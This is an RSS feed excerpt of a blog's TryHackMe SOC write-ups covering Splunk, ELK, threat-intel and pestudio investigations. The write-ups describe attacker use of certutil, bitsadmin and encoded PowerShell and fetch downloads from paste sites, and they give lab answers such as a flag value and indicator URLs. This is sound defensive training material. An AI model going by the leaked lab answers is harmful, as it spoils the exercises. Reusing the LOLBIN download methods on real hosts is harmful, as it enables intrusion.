start= auto.</p><figure><img alt="Final.exe used to establish persistent administrative access." src="https://cdn-images-1.medium.com/max/1024/1*W8_Nhcr4_Zvfqrsbc0SimA.png" /><figcaption>Figure 45: Persistent admin access command</figcaption></figure><h3><strong>Conclusion</strong></h3><p>We have now finished analysing both endpoint and network logs as part of an investigation into a fully compromised machine. We have followed each step of the attack chain to investigate. We have used various tools as part of the investigation and gained experience with using them to conduct full investigations.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7614103710bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Benign | Write-Up]]></title>
            <link>https://medium.com/@ash.t/tryhackme-benign-write-up-39e9838e9261?source=rss-4145df0892db------2</link>
            <guid isPermaLink="false">https://medium.com/p/39e9838e9261</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Ash T]]></dc:creator>
            <pubDate>Tue, 05 May 2026 21:34:04 GMT</pubDate>
            <atom:updated>2026-05-05T21:34:04.168Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*EUwi63ZQsAAcG0v-PJ7H0w.png" /></figure><p>This is a write-up and guide for the Benign room on TryHackMe. I will go through my approach to this room, including my reasonings and exact Splunk searches.</p><h3>Task 1: Introduction</h3><p>First, boot the attached VM in the TryHackMe room. Then, either boot the AttackBox or enable your OpenVPN to connect to the THM servers.</p><p>Once the VM has booted, access it using its IP either on the AttackBox or via the VPN. If an error is displayed, wait a few minutes and try again. You should be presented with the Splunk interface. Click on the Search &amp; Reporting tab to open it.</p><p>Below are the roles of the staff members in this scenario, for easy referral:</p><p>IT Department: James, Moin, Katrina</p><p>HR Department: Haroon, Chris, Daina</p><p>Marketing Department: Bell, Amelia, Deepak</p><h3>Task 2: Scenario — Identify and Investigate and Infected Host</h3><h4>How many logs are ingested from the month of March, 2022?</h4><p>As stated in the room’s introduction, the logs are stored in the index win_eventlogs. Therefore, to access them we need to enter <em>index=win_eventlogs</em> in the search bar. Then, to view logs just from March 2022 we need to adjust the date range using the menu on the right.</p><p>We can see there are 13,959 events returned after the search.</p><figure><img alt="Screenshot of the Splunk interface showing a search for March 2022." src="https://cdn-images-1.medium.com/max/1024/1*M0exhFxsRppsCQmgk3HIrw.png" /><figcaption>Figure 1: Search of all logs from March 2022</figcaption></figure><h4>Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?</h4><p>To find a suspicious user, we need to review the UserName field of the logs. We anticipate that there should be 10 users. The 9 staff, plus the SYSTEM account. However, viewing the UserName field we see 11. In the top 10, we see an account for each staff member and a SYSTEM account, as expected.</p><figure><img alt="Screenshot of Splunk showing 11 unique UserName values." src="https://cdn-images-1.medium.com/max/895/1*a5pYpuYL56wI4Fry9Pxudw.png" /><figcaption>Figure 2: 11 UserName values</figcaption></figure><p>Viewing the rare users, so that we can see the 1 account not shown in the top 10, we see the account Amel1a, which is attempting to disguise as the marketing employee Amelia. This is suspicious and is our imposter account.</p><figure><img alt="Screenshot of Splunk statistics for rare usernames, showing the suspicious account." src="https://cdn-images-1.medium.com/max/1024/1*6TwwHbRGwtUp5ft-g-60JA.png" /><figcaption>Figure 3: Imposter username</figcaption></figure><h4>Which user from the HR department was observed to be running scheduled tasks?</h4><p>schtasks.exe is the executable used to schedule tasks. We can add this to our search as a string.</p><figure><img alt="A Splunk search for schtasks.exe showing 87 results." src="https://cdn-images-1.medium.com/max/1024/1*pGoXY8aQsxWcVjzF1QHmwg.png" /><figcaption>Figure 4: schtasks.exe search</figcaption></figure><p>We could also add the HR department usernames to our search ( <em>UserName IN (“haroon”, “Chris.fort”, “Daina”)</em> ), or we can view the UserNames field and view which users are using schtasks.exe. This shows that James from IT, Moin from IT, Katrina from IT, and Chris.fort from HR are the usernames seen using schtasks. Chris.fort is the only HR user.</p><figure><img alt="Splunk UserName field showing the top usernames for schtasks.exe." src="https://cdn-images-1.medium.com/max/904/1*8Psfizghdkefc7KrJdit0A.png" /><figcaption>Figure 5: schtasks.exe UserNames</figcaption></figure><h4>Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.</h4><p>We are looking for a process creation event, which is <em>EventID=4688</em> in our Splunk search. We can also add the UserNames of just the HR department as a filter, as discussed in the previous question. This returns many events.</p><figure><img alt="A Splunk screenshot showing a search for process creation events by the HR department, showing the top results for the CommandLine field." src="https://cdn-images-1.medium.com/max/1024/1*FfJV-Ovw5LV_N0YANVOtuA.png" /><figcaption>Figure 6: HR department process execution CommandLine field top values</figcaption></figure><p>However, we are looking for the download of 1 file, so likely a single event. Therefore, we can look at the ‘rare’ values for the CommandLine field to narrow the search, then enter the statistics tab. Immediately we see the top result appears to be a suspicious file download. We can click this event then click view events to view the full details for this event.</p><figure><img alt="A Splunk screenshot for the top rare values for the CommandLine field, with a suspicious certutil command at the top." src="https://cdn-images-1.medium.com/max/1024/1*PyHPe1J3vk34QAd-x-1h-A.png" /><figcaption>Figure 7: Rare values for the CommandLine field</figcaption></figure><p>This event shows a certutil command, a URL, and a file name. The responsible UserName is haroon.</p><figure><img alt="Splunk screenshot showing the details of the certutil.exe event, which shows the URL controlc.com and a file benign.exe." src="https://cdn-images-1.medium.com/max/1024/1*TB3IioLwqtcxKDuPA7mkEg.png" /><figcaption>Figure 8: Full details of the certutil command</figcaption></figure><h4>To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?</h4><p>To answer this, we use the event details from above. certutil is the system process which was used for the download.</p><h4>What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)</h4><p>Again, we pull the details from the above event which gives us the date of 2022–03–04 from the event. To check there is no other execution of the binary by the infected host, we can conduct a search for benign.exe on the host (in this case, on all HR department hosts). No other events are returned, so the event we already have must be the sole execution of the binary.</p><figure><img alt="Splunk search for benign.exe which returns just 1 event." src="https://cdn-images-1.medium.com/max/1024/1*M5xey_97c39j7qjRITLLOw.png" /><figcaption>Figure 9: Search for benign.exe</figcaption></figure><h4>Which third-party site was accessed to download the malicious payload?</h4><p>Again using the discovered event, we can view the URL from the CommandLine field to see that the site accessed was controlc.com.</p><h4>What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?</h4><p>Viewing the same field we see that the file is called benign.exe.</p><h4>The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?</h4><p>To view the file contents we can access the full URL found in the event: https://controlc.com/e4d11035. We see that the contents are THM{KJ&amp;*H^B0}.</p><figure><img alt="Screenshot of controlc.com website showing file contents." src="https://cdn-images-1.medium.com/max/1024/1*Fz-KIM2fxvCXAtQ5qDknvw.png" /><figcaption>Figure 10: controlc.com file contents</figcaption></figure><h4>What is the URL that the infected host connected to?</h4><p>This is the same URL we just copied to view the contents of the file: https://controlc.com/e4d11035.</p><h3>Conclusion</h3><p>This room followed an investigation of a compromised host using Splunk. It should have helped with understanding the investigation process and getting familiar with Splunk.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39e9838e9261" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: ItsyBitsy | Write-Up]]></title>
            <link>https://medium.com/@ash.t/tryhackme-itsybitsy-write-up-e9fbf0907a94?source=rss-4145df0892db------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9fbf0907a94</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ash T]]></dc:creator>
            <pubDate>Sat, 25 Apr 2026 18:52:40 GMT</pubDate>
            <atom:updated>2026-04-25T18:52:40.072Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*xtqDWvWaTrsm1z8CqQophw.png" /></figure><p>This is a write-up for the ItsyBitsy room. I will explain how to complete the room and the reasons behind each step. This room tests your knowledge of using the Elastic Stack (ELK) for SIEM.</p><h3>Task 1: Introduction</h3><p>First, click the ‘Start Machine’ button and allow the machine to boot. Once this has had a few minutes to initialize, either paste its IP address into the AttackBox browser or your own browser and log in to the ELK interface. If you receive an error, wait a few more minutes and try again. Then, navigate to the Discover tab to begin.</p><h3>Task 2: Scenario — Investigate a potential C2 communication alert</h3><h4>How many events were returned for the month of March 2022?</h4><p>We need to set the date range using the drop-down in the top left. We set the start date as 1 March 2022 00:00 and the end as 1 April 2022 00:00 to ensure we include all events from 31 March.</p><p>The number of hits is then shown at the top as 1,482.</p><figure><img alt="A screenshot of the ELK discover tab showing hits for March 2022." src="https://cdn-images-1.medium.com/max/1024/1*uIUzWlaW9OrsJx1YWp4BjQ.png" /><figcaption>Figure 1: March 2022 hits</figcaption></figure><h4>What is the IP associated with the suspected user in the logs?</h4><p>Using the fields section at the left we can click sourceIP to see we have 2 different source IPs. One of these IPs is sending the vast majority of the traffic. This can often indicate a DoS attack but in this case, filtering by that source IP, we can see that the traffic appears to be benign.</p><p>Instead, I clicked on the user_agent field to look for suspicious user agents which would be associated with an IP. I found bitsadmin. <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">bitsadmin</a> is a legitimate Windows tool but can be used for malicious purposes like stealthy file transfer, payload delivery, and persistence. Filtering by the bitsadmin user_agent, we see this is all done by 1 IP and the traffic is suspicious. This gives us the IP of 192.166.65.54.</p><figure><img alt="A screenshot of the user_agent field in ELK discovery tab. Mostly Mozilla/5.0 but some bitsadmin." src="https://cdn-images-1.medium.com/max/382/1*JrV6I71EUS5uwSqDnGDbqA.png" /><figcaption>Figure 2: user_agent field</figcaption></figure><figure><img alt="A screenshot of the traffic filtered by bitsadmin user_agent. Shows 2 hits." src="https://cdn-images-1.medium.com/max/1024/1*NzzBsF-e866yNY-N-AlIRw.png" /><figcaption>Figure 3: Suspicious traffic from 1 IP address</figcaption></figure><h4>The user’s machine used a legit Windows binary to download a file from the C2 server. What is the name of the binary?</h4><p>As covered above, bitsadmin is a legitimate Windows binary which can be used for file transfer. We see evidence of this in the logs above.</p><h4>The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?</h4><p>Expanding either log entry we can see the host listed as pastebin.com. This is a filesharing site, so could be used as a temporary C2 server for downloading.</p><figure><img alt="Screenshot of an overview of a log entry, showing pastebin.com as the host." src="https://cdn-images-1.medium.com/max/1024/1*VIkb41KXl-EGeAwOy7wR8A.png" /><figcaption>Figure 4: Log entry overview showing pastebin.com host</figcaption></figure><h4>What is the full URL of the C2 to which the infected host is connected?</h4><p>Looking further into the details of one of the log entries, we can find the URI that the host is connecting to. To get the full URL, we combine pastebin.com with this URI to give pastebin.com/yTg0Ah6a</p><figure><img alt="Screenshot of the details of a log entry showing the URI." src="https://cdn-images-1.medium.com/max/1024/1*v5hfH_L4dBSXQ-Ol89OdTg.png" /><figcaption>Figure 5: URI</figcaption></figure><h4>A file was accessed on the filesharing site. What is the name of the file accessed?</h4><p>To find this out, we simply copy and paste the URL we obtained into a browser. We see the name is secret.txt and the contents of the document are shown below.</p><figure><img alt="A screenshot showing the specified file on pastebin.com." src="https://cdn-images-1.medium.com/max/1024/1*jYXwcJbQrVFyaf1Y3RZBIA.png" /><figcaption>Figure 6: File on pastebin.com</figcaption></figure><h4>The file contains a secret code with the format THM{_____}.</h4><p>Using the site we accessed for the previous question, we can read the contents of the file to give us the secret.</p><h3>Conclusion</h3><p>This room should have given you some experience with using the Elastic Stack for viewing logs and tracing attacks. This is an essential skill within a SOC and other security-based roles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9fbf0907a94" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Invite Only | Write-Up]]></title>
            <link>https://medium.com/@ash.t/tryhackme-invite-only-write-up-3a110ce571da?source=rss-4145df0892db------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a110ce571da</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Ash T]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 17:19:13 GMT</pubDate>
            <atom:updated>2026-04-19T17:27:07.792Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*r3OXZGhqQPMISiT4Vlxz0w.png" /></figure><p>This is a write-up/walkthrough for the TryHackMe Invite Only room which is part of the Threat Analysis Tools module and part of the SOC Level 1 path. I will explain how to complete the room and briefly explain any relevant concepts as they come up.</p><p>To start, click the ‘Start Machine’ button in the TryHackMe room to begin launching the Virtual Machine (VM). VMs are used to provide an environment which can easily be reset and to protect your own computer from damage. Once the VM has launched, double-click to open TryDetectThis2.0 from the Desktop.</p><p>In this room, we are investigating a suspicious hash and IP. A file hash is a fixed-length value which uniquely identifies a file, regardless of changes to the file name. The hash will remain the name provided the file contents are identical. Hashes are used to identify suspicious files across different devices and consolidate knowledge via threat intelligence platforms. An IP is like an address for a digital device. However, IPs used for each device routinely change, so any blocks put on suspicious or malicious IPs are generally temporary.</p><h4>What is the name of the file identified with the flagged SHA256 hash?</h4><p>To start investigating the suspicious hash, we need to copy the hash given in the TryHackMe room and paste it into TryDetectThis. The initial results show file details, including the name and file type, as seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UYBsiuUc48ofd1RN-fd0LA.png" /><figcaption>Figure 1: File name and type for suspicious hash.</figcaption></figure><h4>What is the file type associated with the flagged SHA256 hash?</h4><p>As shown in figure 1 above, we can see the file type in the initial file report screen for the suspicious hash. In this case, the answer requires ‘Win32 EXE’ as the file type, rather than just .exe.</p><h4>What are the execution parents of the flagged hash? List the names chronologically, using a comma as a separator. Note down the hashes for later use.</h4><p>To find the execution parents, we need to select the <em>relations</em> tab to view related information. Here, there is a section called <em>Execution Parents</em>. The results show the file type, then the file name, and the file hash underneath. We need the file names, so we take the second value and note down the file hashes for later.</p><figure><img alt="A screenshot of TryDetectThis relations tab showing the Execution Parents." src="https://cdn-images-1.medium.com/max/1024/1*-squVfp_9baAoEwqMTVroA.png" /><figcaption>Figure 2: Execution Parents.</figcaption></figure><h4>What is the name of the file being dropped? Note down the hash value for later use.</h4><p>Also in the relations tab is the <em>dropped files</em> section. We once again take the name as the answer and note down the hash.</p><figure><img alt="A screenshot of TryDetectThis relations tab showing a dropped file." src="https://cdn-images-1.medium.com/max/1024/1*0ZsTqHGYjO1aWqi9Rlg0tw.png" /><figcaption>Figure 3: Dropped file.</figcaption></figure><h4>Research the second hash in question 3 and list the four malicious dropped files in the order they appear (from up to down), separated by commas.</h4><p>The second hash from question 3 is, fa102d4e3cfbe85f5189da70a52c1d266925f3efd122091cdc8fe0fc39033942. We search for this in TryDetectThis and view the relations tab to find the dropped files. Here, we want the malicious dropped files. These are the ones with a caution symbol on the right. We can ignore the dropped files with a green tick on the right. This gives us exactly 4 malicious dropped files which we can take the names of.</p><figure><img alt="A screenshot of TryDetectThis relations tab showing 3 malicious dropped files." src="https://cdn-images-1.medium.com/max/1024/1*3uTnTu6V3CRC4HQxlH4BbQ.png" /><figcaption>Figure 4: First 3 malicious dropped files.</figcaption></figure><figure><img alt="A screenshot of TryDetectThis relations tab showing 1 malicious dropped file." src="https://cdn-images-1.medium.com/max/1024/1*tvmAERIYd6hiamug2hQK-A.png" /><figcaption>Figure 5: Last malicious dropped file.</figcaption></figure><h4>Analyse the files related to the flagged IP. What is the malware family that links these files?</h4><p>Now we move to analysing the flagged IP. Copy the defanged IP given in the THM room and paste it into the TryDetectThis search box then remove the square brackets. Defanged refers to these square brackets surrounding the .s which prevent it from being interpreted as an IP by a browser. It is best to copy the defanged form to avoid accidents which could result in you visiting a malicious IP.</p><p>Explore the information about the IP. Information about the malware family can be found in the <em>community </em>tab where people are providing enrichment. The malware family is named as AsyncRAT.</p><figure><img alt="A screenshot of TryDetectThis community tab for the flagged IP." src="https://cdn-images-1.medium.com/max/1024/1*DoErsSubTyBLChR_bz7E8A.png" /><figcaption>Figure 6: Community comments for the suspicious IP.</figcaption></figure><h4>What is the title of the original report where these flagged indicators are mentioned? Use Google to find the report.</h4><p>To find the original report for this malware, we can use a browser to search for some of the indicators. I used the defanged IP and the malware family but other combinations of indicators will also work. The first result is the report we’re looking for. Open the article to find the whole title.</p><figure><img alt="A screenshot of a browser search for a malware report." src="https://cdn-images-1.medium.com/max/1024/1*mmtKNcVOV_UjZGC8ZzgMQA.png" /><figcaption>Figure 7: Malware report</figcaption></figure><h4>Which tool did the attackers use to steal cookies from the Google Chrome browser?</h4><p>Now, we view the key takeaways section at the beginning of the article. This provides a useful, minimally technical overview of the malware. This provides the answers to the next few questions.</p><figure><img alt="A screenshot of the key takeaways bullets for the malware report." src="https://cdn-images-1.medium.com/max/1024/1*ee_SvwAVj0B8AEXQqIjTbg.png" /><figcaption>Figure 8: Report key takeaways</figcaption></figure><h4>Which phishing technique did the attackers use? Use the report to answer the question.</h4><p>We can refer to the above bullet points to learn about the phishing technique used.</p><h4>What is the name of the platform that was used to redirect a user to malicious servers?</h4><p>We can refer to the bullet points again to learn that Discord invite links were abused to redirect users to malicious servers.</p><h4>Conclusion</h4><p>We have now gathered threat intelligence and enriched the flagged artefacts. This is a fundamental part of daily work as a SOC analyst.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a110ce571da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Shadow Trace | Write-Up]]></title>
            <link>https://medium.com/@ash.t/tryhackme-shadow-trace-write-up-442941f1a6f6?source=rss-4145df0892db------2</link>
            <guid isPermaLink="false">https://medium.com/p/442941f1a6f6</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Ash T]]></dc:creator>
            <pubDate>Thu, 16 Apr 2026 00:31:04 GMT</pubDate>
            <atom:updated>2026-04-19T17:25:20.159Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/497/1*lvtM3ba8GrbpmOOoN1hyGA.png" /></figure><p>This is a write-up for the Shadow Trace room on TryHackMe which is part of the SOC Level 1 pathway. I will describe how I completed this room and the reasons behind my decisions to help you understand the method.</p><h3><strong>Task 2: File Analysis</strong></h3><p>First, boot the Virtual Machine (VM) and see the target binary, <em>windows-update.exe</em>, on the Desktop. Then, view the questions for task 2. Our first action should be static analysis, rather than dynamic because static analysis can give us a good overview of the binary quickly where dynamic can take longer and be more complex. The questions in task 2 can all be answered using static analysis.</p><p>I opened pestudio, found in the DFIR Tools folder on the Desktop, and used <em>file &gt; open file</em> to open the windows-update.exe binary using the tool. pestudio is a static analysis tool for Windows and gives a good overview of the binary.</p><h4>What is the architecture of the binary file windows-update.exe?</h4><p>Once pestudio finishes the static analysis you are presented with the <em>indicators </em>tab. Here, we can find the answers to our first few questions and gather enough information to investigate further.</p><p>In this question, architecture is referring to processor architecture. I.e. x86 (32-bit), x64 (64-bit), or x32 (32-bit). The binary file will have been written for either 32-bit or 64-bit architecture. If you need further explaination on architectures, check out <a href="https://www.tutorialpedia.org/blog/difference-between-x86-x32-and-x64-architectures/">this article</a>.</p><p>From the indicators tab in pestudio, we can see the architecture the binary was written for.</p><figure><img alt="A screenshot of pestudio’s indicators tab with the file &gt; type executable, 64-bit, console highlighted." src="https://cdn-images-1.medium.com/max/1024/1*UzMChDXJ7Ji0x4Hyem0bqw.png" /><figcaption>Figure 1: Architecture</figcaption></figure><h4>What is the hash (sha-256) of the file windows-update.exe?</h4><p>Hashes can be used to uniquely identify files. Hashes can be used to identify the same malware file on various systems, for example by inputting the hash into VirusTotal as part of an investigation.</p><p>Again, the indicators tab on pestudio provides the answer to this question. Alternatively, the Powershell cmdlet <em>Get-FileHash C:\users\dfiruser\desktop\windows-update.exe -Algorithm SHA256 </em>could be used. On a Linux system, the command <em>sha256sum &lt;file&gt;</em> could be used.</p><figure><img alt="A screenshot of pestudio’s indicators tab with the file &gt; sha256 section highlighted, displaying a hash." src="https://cdn-images-1.medium.com/max/1024/1*IXU_Gs-HuJWiKeX3Sx_7kg.png" /><figcaption>Figure 2: SHA256 hash</figcaption></figure><figure><img alt="A screenshot of Powershell running the cmdlet Get-FileHash." src="https://cdn-images-1.medium.com/max/1024/1*PYo0XKZCCOjPuCYFf42MvA.png" /><figcaption>Figure 3: Powershell Hash</figcaption></figure><h4>Identify the URL within the file to use it as an IOC</h4><p>IOC means Indicator of Compromise. Once again, pestudio’s indicators tab provides this answer. It has pulled 2 url-pattern objects from the strings tab. One of these is an IP; the other is a URL.</p><p>Finding a URL in a malicious binary suggests communication with that URL. This could be for data exfiltration, additional downloads, etc. If the binary is malicious, any URLs and IPs found in the binary should be investigated and blocked if found to be malicious.</p><figure><img alt="A screenshot of pestudio’s indicators tab with the string &gt; url-pattern section highlighted." src="https://cdn-images-1.medium.com/max/1024/1*6s2SSSYOY5QtOCAn4xT5dA.png" /><figcaption>Figure 4: URL</figcaption></figure><h4>With the URL identified, can you spot a domain that can be used as an IOC?</h4><p>The URL identified has the tryhatme second-level domain (SLD). Therefore, we are likely looking for a subdomain with tryhatme as the SLD. To find this, we must look through the strings tab for something matching this description.</p><p>To make this easier, right-clicking on the <em>strings</em> element on the left pane and unchecking the <em>offset </em>and <em>flag</em> boxes will remove those columns, removing the unnecessary information. Additionally, clicking on the <em>size (bytes)</em> header will order the values in size order. This can be used to show the longest values first, meaning the desired result should be near the top. However, this can make it difficult to spot the URL among all the text.</p><figure><img alt="A screenshot of pestudio showing the strings tab with the responses.tryhatme.com string highlighted." src="https://cdn-images-1.medium.com/max/1024/1*o0Nnr2BZQMW19pFZiZGjFQ.png" /><figcaption>Figure 5: Subdomain</figcaption></figure><h4>Input the decoded flag from the suspicious domain</h4><p>Again, we need to analyze the strings tab to find the tryhatme domain with an encoded path.</p><p>We can then copy this and paste the encoded section into a tool like <a href="https://cyberchef.org/">CyberChef</a>. This tool will suggest likely encodings, or you can manually select the decoding method.</p><figure><img alt="A screenshot of pestudio’s strings tab with a tryhatme domain with a base64 encoded path highlighted." src="https://cdn-images-1.medium.com/max/1024/1*oU_k1Wo-3KzWqkjJp9OgkQ.png" /><figcaption>Figure 6: Encoded path</figcaption></figure><h4>What library related to socket communication is loaded by the binary?</h4><p>To find which library we need, we select the libraries tab in pestudio. Reading the descriptions of each library allows us to find the library related to sockets.</p><figure><img alt="A screenshot of pestudio’s library tab with WS2_32.dll selected." src="https://cdn-images-1.medium.com/max/1024/1*UFn8gdN4b9F8DxMP6YBUqw.png" /><figcaption>Figure 7: Socket library</figcaption></figure><h3>Task 3: Alert Analysis</h3><p>First, open the site attached in the room. You will see 2 alerts; 1 from Powershell and 1 from Chrome.</p><h4>Can you identify the malicious URL from the trigger by the process powershell.exe?</h4><p>View the Powershell alert. The command column has a DownloadString cmdlet followed by an encoded string. This encoded string should be investigated. Copy this encoded section into <a href="https://cyberchef.org/">CyberChef</a> and either manually select the decoding method or use CyberChef’s automatic selection. The output should show that the encoded string was actually a base64 representation of a URL.</p><figure><img alt="A screenshot of a sample SIEM dashboard with a suspicious encoded string highlighted." src="https://cdn-images-1.medium.com/max/1024/1*41ea_pCiC3WObU6Adp9XGg.png" /><figcaption>Figure 8: Powershell URL</figcaption></figure><h4>Can you identify the malicious URL from the alert triggered by chrome.exe?</h4><p>Looking at the Chrome alert, we see a fetch command in the command column. The process detail tell us that this alert is for JavaScript execution from within Chrome. fetch is a JS API which can make HTTP responses. Therefore, we would expect fetch to be followed by a URL. Instead we see a suspicious series of numbers. Copying this into <a href="https://cyberchef.org/">CyberChef</a> and attempting to decode it shows that this is actually a URL in decimal format.</p><figure><img alt="A screenshot of a sample SIEM dashboard showing a Chrome alert with a decimal encoded section highlighted." src="https://cdn-images-1.medium.com/max/1024/1*q4qlEibNn573jYfzPrPeMg.png" /><figcaption>Figure 9: Chrome URL</figcaption></figure><h4>What’s the name of the file saved in the alert triggered by chrome.exe?</h4><p>Viewing the Chrome alert you should be able to see a file name and extension in plaintext.</p><figure><img alt="A screenshot of a sample SIEM dashboard with a file name highlighted." src="https://cdn-images-1.medium.com/max/1024/1*kZ9l4dwP4X5XPgjdR3v7mQ.png" /><figcaption>Figure 10: Chrome File</figcaption></figure><h3>Conclusion</h3><p>You should now be more comfortable with static analysis using pestudio. Other tools and OS commands could be used to answer some of these questions, as mentioned in places, I primarily used pestudio as it provided convenient answers to all the questions. However, you should experiment with these alternative methods as well.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=442941f1a6f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>